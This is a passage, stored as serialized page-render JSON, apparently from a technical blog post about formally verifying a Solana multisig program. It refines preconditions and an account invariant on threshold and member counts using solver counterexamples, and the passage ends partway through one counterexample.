above).",{"type":23,"tag":24,"props":22044,"children":22045},{},[22046],{"type":28,"value":22047},"We can ask the solver to produce a counterexample:",{"type":23,"tag":128,"props":22049,"children":22051},{"code":22050},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[22052],{"type":23,"tag":135,"props":22053,"children":22054},{"__ignoreMap":7},[22055],{"type":28,"value":22050},{"type":23,"tag":24,"props":22057,"children":22058},{},[22059],{"type":28,"value":22060},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":24,"props":22062,"children":22063},{},[22064],{"type":23,"tag":659,"props":22065,"children":22066},{},[22067,22069,22075],{"type":28,"value":22068},"Note also that the verifier decided to use a ",{"type":23,"tag":135,"props":22070,"children":22072},{"className":22071},[],[22073],{"type":28,"value":22074},"SparseVec",{"type":28,"value":22076}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":24,"props":22078,"children":22079},{},[22080],{"type":23,"tag":659,"props":22081,"children":22082},{},[22083,22085,22090,22091,22097,22099,22104,22106,22111],{"type":28,"value":22084},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":135,"props":22086,"children":22088},{"className":22087},[],[22089],{"type":28,"value":1806},{"type":28,"value":9002},{"type":23,"tag":135,"props":22092,"children":22094},{"className":22093},[],[22095],{"type":28,"value":22096},"pop",{"type":28,"value":22098}," are stubbed out to simply panic for the ",{"type":23,"tag":135,"props":22100,"children":22102},{"className":22101},[],[22103],{"type":28,"value":22074},{"type":28,"value":22105}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":135,"props":22107,"children":22109},{"className":22108},[],[22110],{"type":28,"value":15223},{"type":28,"value":22112}," type.",{"type":23,"tag":24,"props":22114,"children":22115},{},[22116],{"type":28,"value":22117},"We can add this to our constraint and try again:",{"type":23,"tag":128,"props":22119,"children":22121},{"code":22120,"language":947,"meta":7,"className":948,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[22122],{"type":23,"tag":135,"props":22123,"children":22124},{"__ignoreMap":7},[22125,22133,22170,22177],{"type":23,"tag":139,"props":22126,"children":22127},{"class":141,"line":142},[22128],{"type":23,"tag":139,"props":22129,"children":22130},{"style":259},[22131],{"type":28,"value":22132},"#[succeeds_if(\n",{"type":23,"tag":139,"props":22134,"children":22135},{"class":141,"line":151},[22136,22141,22145,22149,22153,22157,22161,22165],{"type":23,"tag":139,"props":22137,"children":22138},{"style":259},[22139],{"type":28,"value":22140},"    (threshold ",{"type":23,"tag":139,"props":22142,"children":22143},{"style":279},[22144],{"type":28,"value":6847},{"type":23,"tag":139,"props":22146,"children":22147},{"style":305},[22148],{"type":28,"value":11742},{"type":23,"tag":139,"props":22150,"children":22151},{"style":259},[22152],{"type":28,"value":1062},{"type":23,"tag":139,"props":22154,"children":22155},{"style":982},[22156],{"type":28,"value":17423},{"type":23,"tag":139,"props":22158,"children":22159},{"style":259},[22160],{"type":28,"value":21393},{"type":23,"tag":139,"props":22162,"children":22163},{"style":982},[22164],{"type":28,"value":73},{"type":23,"tag":139,"props":22166,"children":22167},{"style":259},[22168],{"type":28,"value":22169},"len()\n",{"type":23,"tag":139,"props":22171,"children":22172},{"class":141,"line":160},[22173],{"type":23,"tag":139,"props":22174,"children":22175},{"style":259},[22176],{"type":28,"value":18266},{"type":23,"tag":139,"props":22178,"children":22179},{"class":141,"line":169},[22180,22184,22188,22192,22196,22200,22204,22208],{"type":23,"tag":139,"props":22181,"children":22182},{"style":279},[22183],{"type":28,"value":11701},{"type":23,"tag":139,"props":22185,"children":22186},{"style":279},[22187],{"type":28,"value":11706},{"type":23,"tag":139,"props":22189,"children":22190},{"style":245},[22191],{"type":28,"value":5115},{"type":23,"tag":139,"props":22193,"children":22194},{"style":259},[22195],{"type":28,"value":262},{"type":23,"tag":139,"props":22197,"children":22198},{"style":982},[22199],{"type":28,"value":7599},{"type":23,"tag":139,"props":22201,"children":22202},{"style":259},[22203],{"type":28,"value":22009},{"type":23,"tag":139,"props":22205,"children":22206},{"style":982},[22207],{"type":28,"value":7599},{"type":23,"tag":139,"props":22209,"children":22210},{"style":259},[22211],{"type":28,"value":7604},{"type":23,"tag":24,"props":22213,"children":22214},{},[22215],{"type":28,"value":22216},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":128,"props":22218,"children":22220},{"code":22219},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[22221],{"type":23,"tag":135,"props":22222,"children":22223},{"__ignoreMap":7},[22224],{"type":28,"value":22219},{"type":23,"tag":24,"props":22226,"children":22227},{},[22228],{"type":28,"value":22229},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":128,"props":22231,"children":22233},{"code":22232,"language":947,"meta":7,"className":948,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[22234],{"type":23,"tag":135,"props":22235,"children":22236},{"__ignoreMap":7},[22237,22244,22279,22300,22307],{"type":23,"tag":139,"props":22238,"children":22239},{"class":141,"line":142},[22240],{"type":23,"tag":139,"props":22241,"children":22242},{"style":259},[22243],{"type":28,"value":22132},{"type":23,"tag":139,"props":22245,"children":22246},{"class":141,"line":151},[22247,22251,22255,22259,22263,22267,22271,22275],{"type":23,"tag":139,"props":22248,"children":22249},{"style":259},[22250],{"type":28,"value":22140},{"type":23,"tag":139,"props":22252,"children":22253},{"style":279},[22254],{"type":28,"value":6847},{"type":23,"tag":139,"props":22256,"children":22257},{"style":305},[22258],{"type":28,"value":11742},{"type":23,"tag":139,"props":22260,"children":22261},{"style":259},[22262],{"type":28,"value":1062},{"type":23,"tag":139,"props":22264,"children":22265},{"style":982},[22266],{"type":28,"value":17423},{"type":23,"tag":139,"props":22268,"children":22269},{"style":259},[22270],{"type":28,"value":21393},{"type":23,"tag":139,"props":22272,"children":22273},{"style":982},[22274],{"type":28,"value":73},{"type":23,"tag":139,"props":22276,"children":22277},{"style":259},[22278],{"type":28,"value":22169},{"type":23,"tag":139,"props":22280,"children":22281},{"class":141,"line":160},[22282,22286,22291,22295],{"type":23,"tag":139,"props":22283,"children":22284},{"style":982},[22285],{"type":28,"value":13632},{"type":23,"tag":139,"props":22287,"children":22288},{"style":259},[22289],{"type":28,"value":22290}," threshold ",{"type":23,"tag":139,"props":22292,"children":22293},{"style":982},[22294],{"type":28,"value":13699},{"type":23,"tag":139,"props":22296,"children":22297},{"style":259},[22298],{"type":28,"value":22299}," 0\n",{"type":23,"tag":139,"props":22301,"children":22302},{"class":141,"line":169},[22303],{"type":23,"tag":139,"props":22304,"children":22305},{"style":259},[22306],{"type":28,"value":18266},{"type":23,"tag":139,"props":22308,"children":22309},{"class":141,"line":178},[22310,22314,22318,22322,22326,22330,22334,22338],{"type":23,"tag":139,"props":22311,"children":22312},{"style":279},[22313],{"type":28,"value":11701},{"type":23,"tag":139,"props":22315,"children":22316},{"style":279},[22317],{"type":28,"value":11706},{"type":23,"tag":139,"props":22319,"children":22320},{"style":245},[22321],{"type":28,"value":5115},{"type":23,"tag":139,"props":22323,"children":22324},{"style":259},[22325],{"type":28,"value":262},{"type":23,"tag":139,"props":22327,"children":22328},{"style":982},[22329],{"type":28,"value":7599},{"type":23,"tag":139,"props":22331,"children":22332},{"style":259},[22333],{"type":28,"value":22009},{"type":23,"tag":139,"props":22335,"children":22336},{"style":982},[22337],{"type":28,"value":7599},{"type":23,"tag":139,"props":22339,"children":22340},{"style":259},[22341],{"type":28,"value":7604},{"type":23,"tag":24,"props":22343,"children":22344},{},[22345],{"type":28,"value":22346},"A third counterexample:",{"type":23,"tag":128,"props":22348,"children":22350},{"code":22349},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[22351],{"type":23,"tag":135,"props":22352,"children":22353},{"__ignoreMap":7},[22354],{"type":28,"value":22349},{"type":23,"tag":24,"props":22356,"children":22357},{},[22358,22360,22366],{"type":28,"value":22359},"Here we see the size of our ",{"type":23,"tag":135,"props":22361,"children":22363},{"className":22362},[],[22364],{"type":28,"value":22365},"members",{"type":28,"value":22367}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":128,"props":22369,"children":22371},{"code":22370,"language":947,"meta":7,"className":948,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[22372],{"type":23,"tag":135,"props":22373,"children":22374},{"__ignoreMap":7},[22375,22382,22417,22438,22490,22497],{"type":23,"tag":139,"props":22376,"children":22377},{"class":141,"line":142},[22378],{"type":23,"tag":139,"props":22379,"children":22380},{"style":259},[22381],{"type":28,"value":22132},{"type":23,"tag":139,"props":22383,"children":22384},{"class":141,"line":151},[22385,22389,22393,22397,22401,22405,22409,22413],{"type":23,"tag":139,"props":22386,"children":22387},{"style":259},[22388],{"type":28,"value":22140},{"type":23,"tag":139,"props":22390,"children":22391},{"style":279},[22392],{"type":28,"value":6847},{"type":23,"tag":139,"props":22394,"children":22395},{"style":305},[22396],{"type":28,"value":11742},{"type":23,"tag":139,"props":22398,"children":22399},{"style":259},[22400],{"type":28,"value":1062},{"type":23,"tag":139,"props":22402,"children":22403},{"style":982},[22404],{"type":28,"value":17423},{"type":23,"tag":139,"props":22406,"children":22407},{"style":259},[22408],{"type":28,"value":21393},{"type":23,"tag":139,"props":22410,"children":22411},{"style":982},[22412],{"type":28,"value":73},{"type":23,"tag":139,"props":22414,"children":22415},{"style":259},[22416],{"type":28,"value":22169},{"type":23,"tag":139,"props":22418,"children":22419},{"class":141,"line":160},[22420,22424,22429,22433],{"type":23,"tag":139,"props":22421,"children":22422},{"style":982},[22423],{"type":28,"value":13632},{"type":23,"tag":139,"props":22425,"children":22426},{"style":259},[22427],{"type":28,"value":22428}," (threshold ",{"type":23,"tag":139,"props":22430,"children":22431},{"style":982},[22432],{"type":28,"value":13699},{"type":23,"tag":139,"props":22434,"children":22435},{"style":259},[22436],{"type":28,"value":22437}," 0)\n",{"type":23,"tag":139,"props":22439,"children":22440},{"class":141,"line":169},[22441,22445,22449,22453,22457,22461,22465,22470,22474,22478,22482,22486],{"type":23,"tag":139,"props":22442,"children":22443},{"style":982},[22444],{"type":28,"value":13632},{"type":23,"tag":139,"props":22446,"children":22447},{"style":259},[22448],{"type":28,"value":21007},{"type":23,"tag":139,"props":22450,"children":22451},{"style":982},[22452],{"type":28,"value":73},{"type":23,"tag":139,"props":22454,"children":22455},{"style":259},[22456],{"type":28,"value":19029},{"type":23,"tag":139,"props":22458,"children":22459},{"style":982},[22460],{"type":28,"value":17423},{"type":23,"tag":139,"props":22462,"children":22463},{"style":259},[22464],{"type":28,"value":1042},{"type":23,"tag":139,"props":22466,"children":22467},{"style":305},[22468],{"type":28,"value":22469},"u16",{"type":23,"tag":139,"props":22471,"children":22472},{"style":982},[22473],{"type":28,"value":1461},{"type":23,"tag":139,"props":22475,"children":22476},{"style":305},[22477],{"type":28,"value":19047},{"type":23,"tag":139,"props":22479,"children":22480},{"style":279},[22481],{"type":28,"value":6833},{"type":23,"tag":139,"props":22483,"children":22484},{"style":305},[22485],{"type":28,"value":11742},{"type":23,"tag":139,"props":22487,"children":22488},{"style":259},[22489],{"type":28,"value":17719},{"type":23,"tag":139,"props":22491,"children":22492},{"class":141,"line":178},[22493],{"type":23,"tag":139,"props":22494,"children":22495},{"style":259},[22496],{"type":28,"value":18266},{"type":23,"tag":139,"props":22498,"children":22499},{"class":141,"line":187},[22500,22504,22508,22512,22516,22520,22524,22528],{"type":23,"tag":139,"props":22501,"children":22502},{"style":279},[22503],{"type":28,"value":11701},{"type":23,"tag":139,"props":22505,"children":22506},{"style":279},[22507],{"type":28,"value":11706},{"type":23,"tag":139,"props":22509,"children":22510},{"style":245},[22511],{"type":28,"value":5115},{"type":23,"tag":139,"props":22513,"children":22514},{"style":259},[22515],{"type":28,"value":262},{"type":23,"tag":139,"props":22517,"children":22518},{"style":982},[22519],{"type":28,"value":7599},{"type":23,"tag":139,"props":22521,"children":22522},{"style":259},[22523],{"type":28,"value":22009},{"type":23,"tag":139,"props":22525,"children":22526},{"style":982},[22527],{"type":28,"value":7599},{"type":23,"tag":139,"props":22529,"children":22530},{"style":259},[22531],{"type":28,"value":7604},{"type":23,"tag":24,"props":22533,"children":22534},{},[22535],{"type":28,"value":22536},"And now we get:",{"type":23,"tag":128,"props":22538,"children":22540},{"code":22539},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[22541],{"type":23,"tag":135,"props":22542,"children":22543},{"__ignoreMap":7},[22544],{"type":28,"value":22539},{"type":23,"tag":24,"props":22546,"children":22547},{},[22548],{"type":28,"value":22549},"🥳🥳🥳",{"type":23,"tag":24,"props":22551,"children":22552},{},[22553],{"type":28,"value":22554},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":128,"props":22556,"children":22558},{"code":22557,"language":947,"meta":7,"className":948,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[22559],{"type":23,"tag":135,"props":22560,"children":22561},{"__ignoreMap":7},[22562,22585,22616],{"type":23,"tag":139,"props":22563,"children":22564},{"class":141,"line":142},[22565,22569,22573,22577,22581],{"type":23,"tag":139,"props":22566,"children":22567},{"style":319},[22568],{"type":28,"value":13590},{"type":23,"tag":139,"props":22570,"children":22571},{"style":294},[22572],{"type":28,"value":21472},{"type":23,"tag":139,"props":22574,"children":22575},{"style":982},[22576],{"type":28,"value":6724},{"type":23,"tag":139,"props":22578,"children":22579},{"style":1016},[22580],{"type":28,"value":2525},{"type":23,"tag":139,"props":22582,"children":22583},{"style":259},[22584],{"type":28,"value":1268},{"type":23,"tag":139,"props":22586,"children":22587},{"class":141,"line":151},[22588,22592,22596,22600,22604,22608,22612],{"type":23,"tag":139,"props":22589,"children":22590},{"style":319},[22591],{"type":28,"value":322},{"type":23,"tag":139,"props":22593,"children":22594},{"style":245},[22595],{"type":28,"value":21528},{"type":23,"tag":139,"props":22597,"children":22598},{"style":259},[22599],{"type":28,"value":262},{"type":23,"tag":139,"props":22601,"children":22602},{"style":305},[22603],{"type":28,"value":21537},{"type":23,"tag":139,"props":22605,"children":22606},{"style":982},[22607],{"type":28,"value":1461},{"type":23,"tag":139,"props":22609,"children":22610},{"style":305},[22611],{"type":28,"value":21546},{"type":23,"tag":139,"props":22613,"children":22614},{"style":259},[22615],{"type":28,"value":1820},{"type":23,"tag":139,"props":22617,"children":22618},{"class":141,"line":160},[22619],{"type":23,"tag":139,"props":22620,"children":22621},{"style":259},[22622],{"type":28,"value":1897},{"type":23,"tag":24,"props":22624,"children":22625},{},[22626,22628,22634,22636,22641,22643,22648,22650,22655],{"type":28,"value":22627},"In this case this is actually redundant because if ",{"type":23,"tag":135,"props":22629,"children":22631},{"className":22630},[],[22632],{"type":28,"value":22633},"members.len() == 0",{"type":28,"value":22635}," then our threshold would also have to be ",{"type":23,"tag":135,"props":22637,"children":22639},{"className":22638},[],[22640],{"type":28,"value":2021},{"type":28,"value":22642}," (and our ",{"type":23,"tag":135,"props":22644,"children":22646},{"className":22645},[],[22647],{"type":28,"value":20758},{"type":28,"value":22649}," is not allowed to be ",{"type":23,"tag":135,"props":22651,"children":22653},{"className":22652},[],[22654],{"type":28,"value":2021},{"type":28,"value":22656},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":666,"props":22658,"children":22660},{"id":22659},"_2-verify-threshold-requirements",[22661],{"type":28,"value":22662},"2. Verify threshold requirements",{"type":23,"tag":24,"props":22664,"children":22665},{},[22666],{"type":28,"value":22667},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":24,"props":22669,"children":22670},{},[22671,22673,22677],{"type":28,"value":22672},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":659,"props":22674,"children":22675},{},[22676],{"type":28,"value":7308},{"type":28,"value":22678}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":24,"props":22680,"children":22681},{},[22682,22684,22688,22690,22695],{"type":28,"value":22683},"In this case, we want to model this as an ",{"type":23,"tag":659,"props":22685,"children":22686},{},[22687],{"type":28,"value":19786},{"type":28,"value":22689}," on the ",{"type":23,"tag":135,"props":22691,"children":22693},{"className":22692},[],[22694],{"type":28,"value":20750},{"type":28,"value":22696}," account struct:",{"type":23,"tag":128,"props":22698,"children":22700},{"code":22699,"language":947,"meta":7,"className":948,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[22701],{"type":23,"tag":135,"props":22702,"children":22703},{"__ignoreMap":7},[22704,22711,22736,22743,22767,22818,22825,22844,22871,22898,22925,22952,22979,23006,23033,23068],{"type":23,"tag":139,"props":22705,"children":22706},{"class":141,"line":142},[22707],{"type":23,"tag":139,"props":22708,"children":22709},{"style":259},[22710],{"type":28,"value":18778},{"type":23,"tag":139,"props":22712,"children":22713},{"class":141,"line":151},[22714,22718,22723,22727,22732],{"type":23,"tag":139,"props":22715,"children":22716},{"style":259},[22717],{"type":28,"value":20846},{"type":23,"tag":139,"props":22719,"children":22720},{"style":305},[22721],{"type":28,"value":22722},"Clone",{"type":23,"tag":139,"props":22724,"children":22725},{"style":259},[22726],{"type":28,"value":1052},{"type":23,"tag":139,"props":22728,"children":22729},{"style":305},[22730],{"type":28,"value":22731},"Debug",{"type":23,"tag":139,"props":22733,"children":22734},{"style":259},[22735],{"type":28,"value":18266},{"type":23,"tag":139,"props":22737,"children":22738},{"class":141,"line":160},[22739],{"type":23,"tag":139,"props":22740,"children":22741},{"style":259},[22742],{"type":28,"value":18786},{"type":23,"tag":139,"props":22744,"children":22745},{"class":141,"line":169},[22746,22751,22755,22759,22763],{"type":23,"tag":139,"props":22747,"children":22748},{"style":259},[22749],{"type":28,"value":22750},"    (self",{"type":23,"tag":139,"props":22752,"children":22753},{"style":982},[22754],{"type":28,"value":73},{"type":23,"tag":139,"props":22756,"children":22757},{"style":259},[22758],{"type":28,"value":19079},{"type":23,"tag":139,"props":22760,"children":22761},{"style":982},[22762],{"type":28,"value":7952},{"type":23,"tag":139,"props":22764,"children":22765},{"style":259},[22766],{"type":28,"value":19088},{"type":23,"tag":139,"props":22768,"children":22769},{"class":141,"line":178},[22770,22774,22778,22782,22786,22790,22794,22798,22802,22806,22810,22814],{"type":23,"tag":139,"props":22771,"children":22772},{"style":982},[22773],{"type":28,"value":13632},{"type":23,"tag":139,"props":22775,"children":22776},{"style":259},[22777],{"type":28,"value":19012},{"type":23,"tag":139,"props":22779,"children":22780},{"style":982},[22781],{"type":28,"value":73},{"type":23,"tag":139,"props":22783,"children":22784},{"style":259},[22785],{"type":28,"value":19079},{"type":23,"tag":139,"props":22787,"children":22788},{"style":279},[22789],{"type":28,"value":6847},{"type":23,"tag":139,"props":22791,"children":22792},{"style":305},[22793],{"type":28,"value":11742},{"type":23,"tag":139,"props":22795,"children":22796},{"style":982},[22797],{"type":28,"value":6201},{"type":23,"tag":139,"props":22799,"children":22800},{"style":259},[22801],{"type":28,"value":11808},{"type":23,"tag":139,"props":22803,"children":22804},{"style":982},[22805],{"type":28,"value":73},{"type":23,"tag":139,"props":22807,"children":22808},{"style":259},[22809],{"type":28,"value":18991},{"type":23,"tag":139,"props":22811,"children":22812},{"style":982},[22813],{"type":28,"value":73},{"type":23,"tag":139,"props":22815,"children":22816},{"style":259},[22817],{"type":28,"value":19140},{"type":23,"tag":139,"props":22819,"children":22820},{"class":141,"line":187},[22821],{"type":23,"tag":139,"props":22822,"children":22823},{"style":259},[22824],{"type":28,"value":18266},{"type":23,"tag":139,"props":22826,"children":22827},{"class":141,"line":196},[22828,22832,22836,22840],{"type":23,"tag":139,"props":22829,"children":22830},{"style":279},[22831],{"type":28,"value":11701},{"type":23,"tag":139,"props":22833,"children":22834},{"style":279},[22835],{"type":28,"value":19159},{"type":23,"tag":139,"props":22837,"children":22838},{"style":305},[22839],{"type":28,"value":19164},{"type":23,"tag":139,"props":22841,"children":22842},{"style":259},[22843],{"type":28,"value":1268},{"type":23,"tag":139,"props":22845,"children":22846},{"class":141,"line":205},[22847,22851,22855,22859,22863,22867],{"type":23,"tag":139,"props":22848,"children":22849},{"style":279},[22850],{"type":28,"value":18851},{"type":23,"tag":139,"props":22852,"children":22853},{"style":294},[22854],{"type":28,"value":19180},{"type":23,"tag":139,"props":22856,"children":22857},{"style":982},[22858],{"type":28,"value":2493},{"type":23,"tag":139,"props":22860,"children":22861},{"style":305},[22862],{"type":28,"value":19038},{"type":23,"tag":139,"props":22864,"children":22865},{"style":259},[22866],{"type":28,"value":19193},{"type":23,"tag":139,"props":22868,"children":22869},{"style":958},[22870],{"type":28,"value":19198},{"type":23,"tag":139,"props":22872,"children":22873},{"class":141,"line":214},[22874,22878,22882,22886,22890,22894],{"type":23,"tag":139,"props":22875,"children":22876},{"style":279},[22877],{"type":28,"value":18851},{"type":23,"tag":139,"props":22879,"children":22880},{"style":294},[22881],{"type":28,"value":19210},{"type":23,"tag":139,"props":22883,"children":22884},{"style":982},[22885],{"type":28,"value":2493},{"type":23,"tag":139,"props":22887,"children":22888},{"style":305},[22889],{"type":28,"value":19038},{"type":23,"tag":139,"props":22891,"children":22892},{"style":259},[22893],{"type":28,"value":19223},{"type":23,"tag":139,"props":22895,"children":22896},{"style":958},[22897],{"type":28,"value":19228},{"type":23,"tag":139,"props":22899,"children":22900},{"class":141,"line":1320},[22901,22905,22909,22913,22917,22921],{"type":23,"tag":139,"props":22902,"children":22903},{"style":279},[22904],{"type":28,"value":18851},{"type":23,"tag":139,"props":22906,"children":22907},{"style":294},[22908],{"type":28,"value":19240},{"type":23,"tag":139,"props":22910,"children":22911},{"style":982},[22912],{"type":28,"value":2493},{"type":23,"tag":139,"props":22914,"children":22915},{"style":305},[22916],{"type":28,"value":15562},{"type":23,"tag":139,"props":22918,"children":22919},{"style":259},[22920],{"type":28,"value":19253},{"type":23,"tag":139,"props":22922,"children":22923},{"style":958},[22924],{"type":28,"value":19258},{"type":23,"tag":139,"props":22926,"children":22927},{"class":141,"line":1329},[22928,22932,22936,22940,22944,22948],{"type":23,"tag":139,"props":22929,"children":22930},{"style":279},[22931],{"type":28,"value":18851},{"type":23,"tag":139,"props":22933,"children":22934},{"style":294},[22935],{"type":28,"value":19270},{"type":23,"tag":139,"props":22937,"children":22938},{"style":982},[22939],{"type":28,"value":2493},{"type":23,"tag":139,"props":22941,"children":22942},{"style":305},[22943],{"type":28,"value":15562},{"type":23,"tag":139,"props":22945,"children":22946},{"style":259},[22947],{"type":28,"value":19223},{"type":23,"tag":139,"props":22949,"children":22950},{"style":958},[22951],{"type":28,"value":19287},{"type":23,"tag":139,"props":22953,"children":22954},{"class":141,"line":1580},[22955,22959,22963,22967,22971,22975],{"type":23,"tag":139,"props":22956,"children":22957},{"style":279},[22958],{"type":28,"value":18851},{"type":23,"tag":139,"props":22960,"children":22961},{"style":294},[22962],{"type":28,"value":19299},{"type":23,"tag":139,"props":22964,"children":22965},{"style":982},[22966],{"type":28,"value":2493},{"type":23,"tag":139,"props":22968,"children":22969},{"style":305},[22970],{"type":28,"value":12645},{"type":23,"tag":139,"props":22972,"children":22973},{"style":259},[22974],{"type":28,"value":19312},{"type":23,"tag":139,"props":22976,"children":22977},{"style":958},[22978],{"type":28,"value":19317},{"type":23,"tag":139,"props":22980,"children":22981},{"class":141,"line":1597},[22982,22986,22990,22994,22998,23002],{"type":23,"tag":139,"props":22983,"children":22984},{"style":279},[22985],{"type":28,"value":18851},{"type":23,"tag":139,"props":22987,"children":22988},{"style":294},[22989],{"type":28,"value":19329},{"type":23,"tag":139,"props":22991,"children":22992},{"style":982},[22993],{"type":28,"value":2493},{"type":23,"tag":139,"props":22995,"children":22996},{"style":305},[22997],{"type":28,"value":18865},{"type":23,"tag":139,"props":22999,"children":23000},{"style":259},[23001],{"type":28,"value":19342},{"type":23,"tag":139,"props":23003,"children":23004},{"style":958},[23005],{"type":28,"value":19347},{"type":23,"tag":139,"props":23007,"children":23008},{"class":141,"line":1614},[23009,23013,23017,23021,23025,23029],{"type":23,"tag":139,"props":23010,"children":23011},{"style":279},[23012],{"type":28,"value":18851},{"type":23,"tag":139,"props":23014,"children":23015},{"style":294},[23016],{"type":28,"value":19359},{"type":23,"tag":139,"props":23018,"children":23019},{"style":982},[23020],{"type":28,"value":2493},{"type":23,"tag":139,"props":23022,"children":23023},{"style":305},[23024],{"type":28,"value":10061},{"type":23,"tag":139,"props":23026,"children":23027},{"style":259},[23028],{"type":28,"value":1052},{"type":23,"tag":139,"props":23030,"children":23031},{"style":958},[23032],{"type":28,"value":19376},{"type":23,"tag":139,"props":23034,"children":23035},{"class":141,"line":1627},[23036,23040,23044,23048,23052,23056,23060,23064],{"type":23,"tag":139,"props":23037,"children":23038},{"style":279},[23039],{"type":28,"value":18851},{"type":23,"tag":139,"props":23041,"children":23042},{"style":294},[23043],{"type":28,"value":19388},{"type":23,"tag":139,"props":23045,"children":23046},{"style":982},[23047],{"type":28,"value":2493},{"type":23,"tag":139,"props":23049,"children":23050},{"style":305},[23051],{"type":28,"value":19397},{"type":23,"tag":139,"props":23053,"children":23054},{"style":259},[23055],{"type":28,"value":3808},{"type":23,"tag":139,"props":23057,"children":23058},{"style":305},[23059],{"type":28,"value":19406},{"type":23,"tag":139,"props":23061,"children":23062},{"style":259},[23063],{"type":28,"value":19411},{"type":23,"tag":139,"props":23065,"children":23066},{"style":958},[23067],{"type":28,"value":19416},{"type":23,"tag":139,"props":23069,"children":23070},{"class":141,"line":1636},[23071],{"type":23,"tag":139,"props":23072,"children":23073},{"style":259},[23074],{"type":28,"value":1897},{"type":23,"tag":24,"props":23076,"children":23077},{},[23078,23080,23085],{"type":28,"value":23079},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":135,"props":23081,"children":23083},{"className":23082},[],[23084],{"type":28,"value":20750},{"type":28,"value":23086}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":24,"props":23088,"children":23089},{},[23090,23092,23097],{"type":28,"value":23091},"Let's try this on the ",{"type":23,"tag":135,"props":23093,"children":23095},{"className":23094},[],[23096],{"type":28,"value":20829},{"type":28,"value":23098}," instruction that we've already seen:",{"type":23,"tag":128,"props":23100,"children":23102},{"code":23101},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[23103],{"type":23,"tag":135,"props":23104,"children":23105},{"__ignoreMap":7},[23106],{"type":28,"value":23101},{"type":23,"tag":24,"props":23108,"children":23109},{},[23110,23112,23117],{"type":28,"value":23111},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":135,"props":23113,"children":23115},{"className":23114},[],[23116],{"type":28,"value":20829},{"type":28,"value":2493},{"type":23,"tag":128,"props":23119,"children":23121},{"code":23120,"language":947,"meta":7,"className":948,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[23122],{"type":23,"tag":135,"props":23123,"children":23124},{"__ignoreMap":7},[23125,23133,23141],{"type":23,"tag":139,"props":23126,"children":23127},{"class":141,"line":142},[23128],{"type":23,"tag":139,"props":23129,"children":23130},{"style":958},[23131],{"type":28,"value":23132},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":139,"props":23134,"children":23135},{"class":141,"line":151},[23136],{"type":23,"tag":139,"props":23137,"children":23138},{"style":958},[23139],{"type":28,"value":23140},"//     return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":139,"props":23142,"children":23143},{"class":141,"line":160},[23144],{"type":23,"tag":139,"props":23145,"children":23146},{"style":958},[23147],{"type":28,"value":23148},"// }\n",{"type":23,"tag":24,"props":23150,"children":23151},{},[23152],{"type":28,"value":23153},"And run again:",{"type":23,"tag":128,"props":23155,"children":23157},{"code":23156},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[23158],{"type":23,"tag":135,"props":23159,"children":23160},{"__ignoreMap":7},[23161],{"type":28,"value":23156},{"type":23,"tag":24,"props":23163,"children":23164},{},[23165],{"type":28,"value":23166},"We get the following counterexample:",{"type":23,"tag":128,"props":23168,"children":23170},{"code":23169,"language":947,"meta":7,"className":948,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... 